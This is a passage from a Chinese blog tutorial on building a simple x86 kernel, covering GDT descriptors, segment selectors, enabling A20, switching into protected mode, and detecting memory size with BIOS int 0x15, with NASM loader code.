alt></p><p>其实对于各个字段的解释，我更倾向于用的时候去查，因为随着CPU的更新换代，如今的一些位可能有变化，要参考当然是参考最新的比较好，比如参考intel手册之类的权威资料，无非就是保存一些段的属性(可读、可写、是否存在等)，权限(Ring0-Ring3)，基址，界限范围等信息。其访问内存的形式如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/16.png" alt></p><h2 id="全局描述符"><a href="#全局描述符" class="headerlink" title="全局描述符"></a>全局描述符</h2><p>全局描述符表GDT相当于是一个描述符的数组，数组每一个元素都是8个字节的描述符，而选择子则是提供下标在GDT中索引描述符。假设 A[10] 数组即为GDT表，则</p><ul><li>GDT表相当于数组A</li><li>数组中每个数据A[0]~A[10]相当于描述符</li><li>A[0]~A[10]中的0~10索引下标则是选择子</li></ul><p>全局描述符表是公用的，GDTR这个专门的寄存器则存放GDT表的内存地址和大小，是一个48位的寄存器，对这个寄存器操作无法用mov等指令，这里用的是<code>lgdt</code>指令初始化，指令格式是：<code>lgdt 48位内存数据</code></p><p><img src="/2020/05/10/简单内核实现笔记-part-1/17.png" alt></p><p>其中前16位是GDT以字节为单位的界限值，相当于GDT字节大小减1。后32位是GDT的起始地址。由于GDT的大小是16位二进制，表示范围是2^16 = 65536字节。每个描述符大小是8字节，故GDT中最多可容纳的描述符数量是<code>65536/8 = 8198</code>，也就是可以容纳8192个段或门。</p><h2 id="局部描述符表"><a href="#局部描述符表" class="headerlink" title="局部描述符表"></a>局部描述符表</h2><p>按照CPU的设想，一个任务对应一个局部描述符表LDT，切换任务的时候也会切换LDT，LDT也存放在内存中，由LDTR寄存器指向，加载的指令为<code>lldt</code>。对于操作系统来说，每个系统必须定义一个GDT，用于系统中的所有任务和程序。可选择性定义若干个LDT。LDT本身是一个段，而GDT不是。这种表在这里并不常用所以就不继续展开了，感兴趣的小伙伴可以自行百度。</p><h2 id="段选择子"><a href="#段选择子" class="headerlink" title="段选择子"></a>段选择子</h2><p>首先复习一下段寄存器CS、DS、ES、FS、GS、SS，保护模式下段寄存器中存放的即是段选择子，结构如下，其中0-1位表示特权级，2位TI表示选择子是在GDT中，还是在LDT中索引描述符，剩下的13位就是索引部分，2^13 = 8192，这也刚好和GDT最多容纳的段或门的数量相符。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/18.png" alt></p><p>举个访问内存的例子，例如选择子是 0x8，将其加载到 ds 寄存器后，访问 ds: 0x9 这样的内存，其过程是首先拆分 0x8 为二进制 <code>0000 0000 0000 1000</code> 然后得到 0x8 的低 2 位是RPL，其值为 00。第 2 是 TI ，其值 0，表示是在 GOT 中索引段描述符。用 0x8 的高 13 位 0x1 在 GOT 中索引，也就是 GOT 中的第 1 个段描述符(GDT 中第 0 个段描述符不可用)。假设第 1 个段描述符中的 3个段基址部分，其值为 0xl234oCPU 将 0xl234 作为段基址，与段内偏移地址 0x9 相加， <code>0x1234 + 0x9 = 0x123d</code>。用所得的和 0x123d 作为访存地址。</p><p>Tip：GDT中第0个段描述符不可用是为了防止未初始化段选择子，如果未初始化段选择子就会访问到第0个段描述符从而抛出异常。</p><p>为了让<code>段基址:段内偏移</code>策略继续可用，CPU采取的做法是将超过1MB的部分自动绕回到0地址，继续从0地址开始映射。相当于把地址对1MB求模。超过1MB多余出来的内存被称为高端内存区HMA。</p><p>这种地址绕回的做法需要通过两种情况分别讨论：</p><ul><li><p>对于只有20位地址线的CPU，不需要任何操作便能自动实现地址绕回</p></li><li><p>当其他有更多地址总线的时候，因为CPU可以访问更多的内存，所以不会产生地址回滚。这种情况下的解决方案就是对第21根地址线进行操作。开启A20则直接访问物理地址即可，关闭A20则使用回绕方式访问。</p></li></ul><p>打开A20的操作方法有以下三个步骤，主要是将0x92端口第一位置一即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">in al, 0x92</span><br><span class="line">or al, 0000_0010B</span><br><span class="line">out 0x92, al</span><br></pre></td></tr></table></figure><h2 id="CR0寄存器"><a href="#CR0寄存器" class="headerlink" title="CR0寄存器"></a>CR0寄存器</h2><p>CRx系列寄存器属于控制寄存器一类，这里主要介绍CR0寄存器，这个寄存器如下图所示，其中第0位PE位表示是否开启保护模式</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/19.png" alt></p><p>其他位如下图所示，这里暂时不深入讨论</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/20.png" alt></p><p>对CR0的PE位操作如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov eax,cr0</span><br><span class="line">or eax,0x00000001</span><br><span class="line">mov cr0,eax</span><br></pre></td></tr></table></figure><h2 id="进入保护模式"><a href="#进入保护模式" class="headerlink" title="进入保护模式"></a>进入保护模式</h2><p>现在基础知识总结的差不多了，进入下一个实验阶段，更新我们的mbr和loader，因为我们的loader.bin会超过512字节，所以要把mbr.S中加载loader.bin的读入扇区数增大，目前是1扇区，这里直接改为4扇区</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">52 mov cx, 4         ; 带读入的扇区数</span><br><span class="line">53 call rd_disk_m_16 ; 以下读取程序的起始部分(一个扇区)</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>如下图所示，cx 寄存器中存放的这个参数非常重要，代表读入扇区数，如果<code>loader.bin</code>的大小超过mbr读入的扇区数，就需要对这个参数进行修改</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/21.png" alt="image-20200506225157139"></p><p>接下来就是更新<code>boot.inc</code>，里面存放的是<code>loader.S</code>的一些符号信息，相当于头文件，比之前主要多定义了GDT描述符的属性和选择子的属性。Linux使用的是平坦模型，整个内存都在一个段里，这里平坦模型在我们定义的描述符中，段基址是0，<code>段界限 * 粒度 = 4G</code> 粒度选的是4k，故段界限是 0xFFFFF</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">;--------------------- loader 和 kernel---------------------</span><br><span class="line"></span><br><span class="line">LOADER_BASE_ADDR equ 0x900</span><br><span class="line">LOADER_START_SECTOR equ 0x2</span><br><span class="line"></span><br><span class="line">;--------------------  gdt 描述符属性  ----------------------</span><br><span class="line">DESC_G_4K         equ 1_00000000000000000000000b        ;描述符的G位为4k粒度，以二进制表示，下划线可去掉</span><br><span class="line">DESC_D_32         equ  1_0000000000000000000000b</span><br><span class="line">DESC_L            equ   0_000000000000000000000b        ;64位代码标记，此处标记为0便可</span><br><span class="line">DESC_AVL          equ    0_00000000000000000000b        ;CPU不用此位，暂置为0</span><br><span class="line">DESC_LIMIT_CODE2  equ     1111_0000000000000000b        ;段界限，需要设置为0xFFFFF</span><br><span class="line">DESC_LIMIT_DATA2  equ     DESC_LIMIT_CODE2</span><br><span class="line">DESC_LIMIT_VIDEO2 equ      0000_000000000000000b</span><br><span class="line">DESC_P  equ         1_000000000000000b</span><br><span class="line">DESC_DPL_0        equ          00_0000000000000b</span><br><span class="line">DESC_DPL_1  equ          01_0000000000000b</span><br><span class="line">DESC_DPL_2        equ   10_0000000000000b</span><br><span class="line">DESC_DPL_3        equ          11_0000000000000b</span><br><span class="line">DESC_S_CODE  equ            1_000000000000b</span><br><span class="line">DESC_S_DATA       equ            DESC_S_CODE</span><br><span class="line">DESC_S_sys        equ            0_000000000000b</span><br><span class="line">DESC_TYPE_CODE    equ             1000_00000000b;x=1,c=0,r=0,a=0 代码段是可执行的,非一致性,不可读,已访问位a清0.  </span><br><span class="line">DESC_TYPE_DATA    equ             0010_00000000b;x=0,e=0,w=1,a=0 数据段是不可执行的,向上扩展的,可写,已访问位a清0.</span><br><span class="line"></span><br><span class="line">DESC_CODE_HIGH4 equ (0x00 &lt;&lt; 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_CODE2 + DESC_P + DESC_DPL_0 + DESC_S_CODE + DESC_TYPE_CODE + 0x00 ;定义代码段的高四字节，(0x00 &lt;&lt; 24)表示&quot;段基址的24~31&quot;字段，该字段位于段描述符高四字节24~31位，平坦模式段基址为0，所以这里用0填充，最后的0x00也是</span><br><span class="line">DESC_DATA_HIGH4 equ (0x00 &lt;&lt; 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_DATA2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x00</span><br><span class="line">DESC_VIDEO_HIGH4 equ (0x00 &lt;&lt; 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_VIDEO2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x0b</span><br><span class="line"></span><br><span class="line">;--------------   选择子属性  ---------------</span><br><span class="line">RPL0  equ   00b</span><br><span class="line">RPL1  equ   01b</span><br><span class="line">RPL2  equ   10b</span><br><span class="line">RPL3  equ   11b</span><br><span class="line">TI_GDT equ   000b</span><br><span class="line">TI_LDT equ   100b</span><br></pre></td></tr></table></figure><p>下面修改 <code>loader.S</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line">%include &quot;boot.inc&quot;</span><br><span class="line">section loader vstart=LOADER_BASE_ADDR</span><br><span class="line">LOADER_STACK_TOP equ LOADER_BASE_ADDR ;初始化的栈顶</span><br><span class="line">jmp loader_start</span><br><span class="line"></span><br><span class="line">;构建gdt以及内部的描述符，每个8字节，由两个四字节组成</span><br><span class="line">;第0个描述符不可用,置为0</span><br><span class="line">GDT_BASE: dd 0x00000000 ;低四字节</span><br><span class="line">          dd 0x00000000 ;高四字节</span><br><span class="line">;代码段描述符</span><br><span class="line">CODE_DESC: dd 0x0000FFFF      ;0xFFFF是段界限的0~15位，0x0000是段基址的0~15位</span><br><span class="line">           DESC_CODE_HIGH4    ;boot.inc中定义的高四字节</span><br><span class="line">;数据段和栈段描述符</span><br><span class="line">DATA_STACK_DESC: dd 0x0000FFFF</span><br><span class="line">                 dd DESC_DATA_HIGH4</span><br><span class="line">;显存段描述符，为了方便显存操作，显存段不用平坦模型</span><br><span class="line">VIDEO_DESC: dd 0x80000007        ;参考1MB实模式内存分布，limit=(0xbffff-0xb8000)/4k=0x7</span><br><span class="line">            dd DESC_VIDEO_HIGH4  ;此时dpl为0</span><br><span class="line">GDT_SIZE equ $ - GDT_BASE  ;地址差获得GDT大小</span><br><span class="line">GDT_LIMIT equ GDT_SIZE - 1 ;大小减1获得段界限</span><br><span class="line">times 60 dq 0 ;此处预留60个描述符空位，为以后做准备，times相当于是循环执行命令</span><br><span class="line">;构建代码段、数据段、显存段的选择子</span><br><span class="line">SELECTOR_CODE equ (0x0001&lt;&lt;3)+TI_GDT+RPL0;相当于（CODE_DESC-GDT_BASE）/8+TI_GDT+RPL0</span><br><span class="line">SELECTOR_DATA equ (0x0002&lt;&lt;3)+TI_GDT+RPL0</span><br><span class="line">SELECTOR_VIDEO equ (0x0003&lt;&lt;3)+TI_GDT+RPL0</span><br><span class="line"></span><br><span class="line">;以下是gdt的指针，前2字节是gdt界限，后4字节是gdt起始地址</span><br><span class="line">gdt_ptr dw GDT_LIMIT</span><br><span class="line">        dd GDT_BASE</span><br><span class="line">loadermsg db &apos;2 loader in real.&apos;</span><br><span class="line">loader_start:</span><br><span class="line">;---------------------------------------------------------</span><br><span class="line">;INT 0x10功能号:0x13功能描述符:打印字符串</span><br><span class="line">;---------------------------------------------------------</span><br><span class="line">;输入:</span><br><span class="line">;AH 子功能号=13H</span><br><span class="line">;BH = 页码</span><br><span class="line">;BL = 属性（若AL=00H或01H）</span><br><span class="line">;CX = 字符串长度</span><br><span class="line">;(DH,DL)=坐标(行，列)</span><br><span class="line">;ES:BP=字符串地址</span><br><span class="line">;AL=显示输出方式</span><br><span class="line">;0——字符串中只含显示字符，其显示属性在BL中。显示后，光标位置不变</span><br><span class="line">;1——字符串中只含显示字符，其显示属性在BL中。显示后，光标位置改变</span><br><span class="line">;2——字符串中只含显示字符和显示属性。显示后，光标位置不变。</span><br><span class="line">;3——字符串中只含显示字符和显示属性。显示后，光标位置改变。</span><br><span class="line">;无返回值</span><br><span class="line">mov sp,LOADER_BASE_ADDR</span><br><span class="line">mov bp,loadermsg;ES:BP=字符串地址</span><br><span class="line">mov cx,17;CX=字符串长度</span><br><span class="line">mov ax,0x1301;AH=13,AL=01h</span><br><span class="line">mov bx,0x001f;页号为0(BH=0)蓝底分红子(BL=1fh)</span><br><span class="line">mov dx,0x1800</span><br><span class="line">int 0x10</span><br><span class="line"></span><br><span class="line">;---------------------准备进入保护模式-------------------------</span><br><span class="line">;1 打开A20</span><br><span class="line">;2 加载gdt</span><br><span class="line">;3 将cr0的pe位置1</span><br><span class="line"></span><br><span class="line">;-----------------------打开A20--------------------------</span><br><span class="line">in al,0x92</span><br><span class="line">or al,0000_0010B</span><br><span class="line">out 0x92,al</span><br><span class="line">;-----------------------加载GDT--------------------------</span><br><span class="line">lgdt [gdt_ptr]</span><br><span class="line"></span><br><span class="line">;----------------------cr0 第 0 位置 1-------------------</span><br><span class="line">mov eax,cr0</span><br><span class="line">or eax,0x00000001</span><br><span class="line">mov cr0,eax</span><br><span class="line"></span><br><span class="line">jmp dword SELECTOR_CODE:p_mode_start;下面指令又有16位又有32位，故需要刷新流水线</span><br><span class="line"></span><br><span class="line">[bits 32]</span><br><span class="line">p_mode_start:</span><br><span class="line">;选择子初始化段寄存器</span><br><span class="line">mov ax,SELECTOR_DATA</span><br><span class="line">mov ds,ax</span><br><span class="line">mov es,ax</span><br><span class="line">mov ss,ax</span><br><span class="line">mov esp,LOADER_STACK_TOP</span><br><span class="line">mov ax,SELECTOR_VIDEO</span><br><span class="line">mov gs,ax</span><br><span class="line"></span><br><span class="line">mov byte [gs:160],&apos;P&apos; ;显存第80个字符的位置写一个P</span><br><span class="line"></span><br><span class="line">jmp $</span><br></pre></td></tr></table></figure><p>同之前的方法编译，注意这里loader.bin编译后为615个字节，需要2个扇区大小，写入磁盘时要给count赋值为2</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/22.png" alt="image-20200507101206860"></p><p>运行结果如下，其中<code>1 MBR</code>来自实模式下的mbr.S，<code>2 loader in real</code>来自实模式下用BIOS中断0x10实现的，左上角第二行的<code>P</code>是在保护模式下输出的。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/23.png" alt="image-20200507102103054"></p><p>查看GDT表中的内容和我们设置的相符，其中第0个不可用。查看寄存器信息PE位设置为1表示已经进入保护模式。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/24.png" alt="24"></p><p>保护模式对内存的保护体现在如下几个方面，这里简单总结一下，更详细的内容网上有很多更详细的说明，当然最权威的还是intel手册。</p><p><strong>向段寄存器加载段选择子时的保护</strong></p><p>当引用一个内存段时，实际上就是往段寄存器中加载个段选择子，为了避免非法引用内存段的情况，会检查选择子是否合理，判断方法就是通过验证索引值是否出现越界，越界则抛出异常。有如下表达式</p><blockquote><p>描述符表基地址+选择子中的索引值*8+7&lt;=描述符表基地址+描述符表界限值</p></blockquote><p>总结如下图</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/25.png" alt="image-20200507174438486"></p><p>检查完选择子就该检查段描述符中 type 字段，也就是段的类型，如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/26.png" alt="image-20200507174438486"></p><p>检查完类型后检查P位，P位表示该段是否存在，1表示存在，0表示不存在。</p><p><strong>代码段和数据段的保护</strong></p><p>代码段和数据段主要保护措施是当CPU访问一个地址的时候，判断该地址不能超过所在内存段的范围。简单总结如下图所示，出现这种跨段操作就会出现异常。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/27.png" alt="image-20200507174438486"></p><p><strong>栈段的保护</strong></p><p>段描述符type中的e位表示扩展方向，栈可以向上扩展和向下扩展，下面就是检查方式</p><ul><li>对于向上拓展的段，实际段界限是段内可以访问的最后一个字节</li><li>对于向下拓展的段，实际段界限是段内不可以访问的第一个字节</li></ul><p>等价于如下表达式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">实际段界限+1&lt;=esp-操作数大小&lt;=0xFFFFFFFF</span><br></pre></td></tr></table></figure><h1 id="保护模式进阶"><a href="#保护模式进阶" class="headerlink" title="保护模式进阶"></a>保护模式进阶</h1><h2 id="获取物理内存容量"><a href="#获取物理内存容量" class="headerlink" title="获取物理内存容量"></a>获取物理内存容量</h2><p>　　Linux获取内存容量方法有三种，本质上分别是BIOS中断0x15的3个子功能，BIOS是实模式下的方法，只能在保护模式之前调用。总结如下</p><p><strong>利用BIOS中断0x15子功能0xe820获取内存</strong></p><p>此方法最灵活，返回的内容也最丰富，内存信息的内容是地址范围描述符来描述的(ARDS)，每个字段4字节，一共20字节，调用0x15返回的也就是这个结构。其中Type字段表示内存类型，1表示这段内存可以使用；2表示不可用使用此内存；其它表示未定义，将来会用到</p><table><thead><tr><th style="text-align:center">字节偏移量</th><th style="text-align:center">属性名称</th><th style="text-align:center">描述</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">BaseAddrLow</td><td style="text-align:center">基地址的低32位</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">BaseAddrHigh</td><td style="text-align:center">基地址的高32位</td></tr><tr><td style="text-align:center">8</td><td style="text-align:center">LengthLow</td><td style="text-align:center">内存长度的低32位，以字节为单位</td></tr><tr><td style="text-align:center">12</td><td style="text-align:center">LengthHigh</td><td style="text-align:center">内存长度的高32位，以字节为单位</td></tr><tr><td style="text-align:center">16</td><td style="text-align:center">Type</td><td style="text-align:center">本段内存的类型</td></tr></tbody></table><p>用0x15子功能0xe820调用说明和调用步骤如下</p><ol><li>填写好”调用前输入”中列出的寄存器</li><li>执行中断调用 int 0x15</li><li>在CF位为0的情况下，”返回后输出”中对应的寄存器中就有结果</li></ol><p><img src="/2020/05/10/简单内核实现笔记-part-1/28.png" alt="image-20200508082615611"></p><p><strong>利用BIOS中断0x15子功能0xe801获取内存</strong></p><p>此方法最多识别4G的内存，结果存放在两组寄存器中，操作起来要简便一些，调用说明和调用步骤如下</p><ol><li>AX寄存器写入0xE801</li><li>执行中断调用 int 0x15</li><li>在CF位为0的情况下，”返回后输出”中对应的寄存器中就有结果</li></ol><p><img src="/2020/05/10/简单内核实现笔记-part-1/29.png" alt="image-20200508083428601"></p><p><strong>利用BIOS中断0x15子功能0x88获取内存</strong></p><p>此方法最多识别64MB内存，操作起来最简单，调用说明和调用步骤如下</p><ol><li>AX寄存器写入0x88</li><li>执行中断调用 int 0x15</li><li>在CF位为0的情况下，”返回后输出”中对应的寄存器中就有结果</li></ol><p><img src="/2020/05/10/简单内核实现笔记-part-1/30.png" alt="image-20200508083919353"></p><p>下面结合这三种方式改进我们的实验代码，下面是<code>loader</code>，我们将结果保存在了<code>total_mem_bytes</code>中，重要的一些地方都有注释，更详细的内容建议参考书中P183</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line">   %include &quot;boot.inc&quot;</span><br><span class="line">   section loader vstart=LOADER_BASE_ADDR</span><br><span class="line">   LOADER_STACK_TOP equ LOADER_BASE_ADDR</span><br><span class="line">   </span><br><span class="line">;构建gdt及其内部的描述符</span><br><span class="line">   GDT_BASE:   dd    0x00000000 </span><br><span class="line">       dd    0x00000000</span><br><span class="line"></span><br><span class="line">   CODE_DESC:  dd    0x0000FFFF </span><br><span class="line">       dd    DESC_CODE_HIGH4</span><br><span class="line"></span><br><span class="line">   DATA_STACK_DESC:  dd    0x0000FFFF</span><br><span class="line">     dd    DESC_DATA_HIGH4</span><br><span class="line"></span><br><span class="line">   VIDEO_DESC: dd    0x80000007   ; limit=(0xbffff-0xb8000)/4k=0x7</span><br><span class="line">       dd    DESC_VIDEO_HIGH4  ; 此时dpl为0</span><br><span class="line"></span><br><span class="line">   GDT_SIZE   equ   $ - GDT_BASE</span><br><span class="line">   GDT_LIMIT   equ   GDT_SIZE -1 </span><br><span class="line">   times 60 dq 0 ; 此处预留60个描述符的空位(slot)</span><br><span class="line">   SELECTOR_CODE equ (0x0001&lt;&lt;3) + TI_GDT + RPL0     ; 相当于(CODE_DESC - GDT_BASE)/8 + TI_GDT + RPL0</span><br><span class="line">   SELECTOR_DATA equ (0x0002&lt;&lt;3) + TI_GDT + RPL0 ; 同上</span><br><span class="line">   SELECTOR_VIDEO equ (0x0003&lt;&lt;3) + TI_GDT + RPL0 ; 同上 </span><br><span class="line"></span><br><span class="line">   ; total_mem_bytes用于保存内存容量,以字节为单位,此位置比较好记。</span><br><span class="line">   ; 当前偏移loader.bin文件头0x200字节,loader.bin的加载地址是0x900,</span><br><span class="line">   ; 故total_mem_bytes内存中的地址是0xb00.将来在内核中咱们会引用此地址</span><br><span class="line">   total_mem_bytes dd 0 </span><br><span class="line">   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</span><br><span class="line"></span><br><span class="line">   ;以下是定义gdt的指针，前2字节是gdt界限，后4字节是gdt起始地址</span><br><span class="line">   gdt_ptr  dw  GDT_LIMIT </span><br><span class="line">    dd  GDT_BASE</span><br><span class="line"></span><br><span class="line">   ;人工对齐:total_mem_bytes4字节+gdt_ptr6字节+ards_buf244字节+ards_nr2,共256字节</span><br><span class="line">   ards_buf times 244 db 0</span><br><span class="line">   ards_nr dw 0      ;用于记录ards结构体数量</span><br><span class="line"></span><br><span class="line">   loader_start:</span><br><span class="line">   </span><br><span class="line">;-------  int 15h eax = 0000E820h ,edx = 534D4150h (&apos;SMAP&apos;) 获取内存布局  -------</span><br><span class="line"></span><br><span class="line">   xor ebx, ebx      ;第一次调用时，ebx值要为0</span><br><span class="line">   mov edx, 0x534d4150  ;edx只赋值一次，循环体中不会改变</span><br><span class="line">   mov di, ards_buf      ;ards结构缓冲区</span><br><span class="line">.e820_mem_get_loop:      ;循环获取每个ARDS内存范围描述结构</span><br><span class="line">   mov eax, 0x0000e820  ;执行int 0x15后,eax值变为0x534d4150,所以每次执行int前都要更新为子功能号。</span><br><span class="line">   mov ecx, 20      ;ARDS地址范围描述符结构大小是20字节</span><br><span class="line">   int 0x15</span><br><span class="line">   jc .e820_failed_so_try_e801   ;若cf位为1则有错误发生，尝试0xe801子功能</span><br><span class="line">   add di, cx      ;使di增加20字节指向缓冲区中新的ARDS结构位置</span><br><span class="line">   inc word [ards_nr]  ;记录ARDS数量</span><br><span class="line">   cmp ebx, 0      ;若ebx为0且cf不为1,这说明ards全部返回，当前已是最后一个</span><br><span class="line">   jnz .e820_mem_get_loop</span><br><span class="line"></span><br><span class="line">;在所有ards结构中，找出(base_add_low + length_low)的最大值，即内存的容量。</span><br><span class="line">   mov cx, [ards_nr]  ;遍历每一个ARDS结构体,循环次数是ARDS的数量</span><br><span class="line">   mov ebx, ards_buf </span><br><span class="line">   xor edx, edx      ;edx为最大的内存容量,在此先清0</span><br><span class="line">.find_max_mem_area:      ;无须判断type是否为1,最大的内存块一定是可被使用</span><br><span class="line">   mov eax, [ebx]      ;base_add_low</span><br><span class="line">   add eax, [ebx+8]      ;length_low</span><br><span class="line">   add ebx, 20      ;指向缓冲区中下一个ARDS结构</span><br><span class="line">   cmp edx, eax      ;冒泡排序，找出最大,edx寄存器始终是最大的内存容量</span><br><span class="line">   jge .next_ards</span><br><span class="line">   mov edx, eax      ;edx为总内存大小</span><br><span class="line">.next_ards:</span><br><span class="line">   loop .find_max_mem_area</span><br><span class="line">   jmp .mem_get_ok</span><br><span 